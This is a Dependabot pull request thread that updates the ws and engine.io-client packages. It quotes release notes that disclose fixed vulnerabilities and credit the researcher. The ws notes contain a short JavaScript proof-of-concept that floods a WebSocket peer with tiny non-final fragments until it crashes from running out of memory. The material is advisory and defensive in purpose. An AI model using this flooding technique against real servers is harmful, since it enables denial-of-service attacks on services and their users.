chore: bump ws and engine.io-client in /docs

[dependabot]

Bumps ws and engine.io-client. These dependencies needed to be updated together.
Updates ws from 8.20.0 to 8.21.0

Release notes

Sourced from ws's releases.

8.21.0

Features

• Introduced the maxBufferedChunks and maxFragments options (2b2abd45).

Bug fixes

• Fixed a remote memory exhaustion DoS vulnerability (2b2abd45).

A high volume of tiny fragments and data chunks could be sent by a peer, using modest network traffic, to crash a ws server or client due to OOM.

import { WebSocket, WebSocketServer } from 'ws';
const wss = new WebSocketServer({ port: 0 }, function () {
const data = Buffer.alloc(1);
const options = { fin: false };
const { port } = wss.address();
const ws = new WebSocket(ws://localhost:${port});
ws.on('open', function () {
(function send() {
ws.send(data, options, function (err) {
if (err) return;
send();
});
})();
});
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(client close - code: ${code} reason: ${reason.toString()});
});
});
wss.on('connection', function (ws) {
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(server close - code: ${code} reason: ${reason.toString()});
});
});

The vulnerability was responsibly disclosed and fixed by Nadav Magier.

In vulnerable versions, the issue can be mitigated by lowering the value of the maxPayload option if possible.

8.20.1

... (truncated)

Commits

• bca91ad [dist] 8.21.0
• 2b2abd4 [security] Limit retained message parts
• 78eabe2 [security] Add latest vulnerability to SECURITY.md
• 5d9b316 [dist] 8.20.1
• c0327ec [security] Fix uninitialized memory disclosure in websocket.close()
• ce2a3d6 [ci] Test on node 26
• 58e45b8 [ci] Do not test on node 25
• 5f26c24 [ci] Run the lint step on node 24
• See full diff in compare view

Updates engine.io-client from 6.6.4 to 6.6.6

Release notes

Sourced from engine.io-client's releases.

engine.io-client@6.6.6

The ws dependency was bumped to ~8.21.0 following CVE-2026-48779.

Bug Fixes

• preserve transport literal suggestions (#5469) (d8f392e)

Dependencies

• ws@~8.21.0 (diff)

engine.io-client@6.6.5

The ws dependency was bumped to ~8.20.1 following CVE-2026-45736.

Note from the ws maintainers:

Although the calculated CVSS severity is medium, the actual severity is believed to be low, as the flaw is only exploitable through misuse that is unlikely in practice.

Dependencies

• ws@~8.20.1 (diff)

Commits

• 22cc483 chore(release): engine.io-client@6.6.6
• 9dbec81 chore(release): engine.io@6.6.9
• 3ad4e1f docs: improve example with PM2
• 0e5afee docs: add example with PM2
• eab9623 docs(eio): correct maxHttpBufferSize default in JSDoc (#5508)
• c17890c docs: add documentation about WebTransport
• 20df6ae docs(examples): add client-side load balancing example
• 16d1923 ci(publish): enable staged publishing
• ad48a9b docs(examples): add example with HTTP/2
• 190572d refactor(eio-client): remove XMLHttpRequest from the definition file
• Additional commits viewable in compare view

[zaosoula]

@dependabot rebase

[dependabot]

Looks like these dependencies are up-to-date now, so this is no longer needed.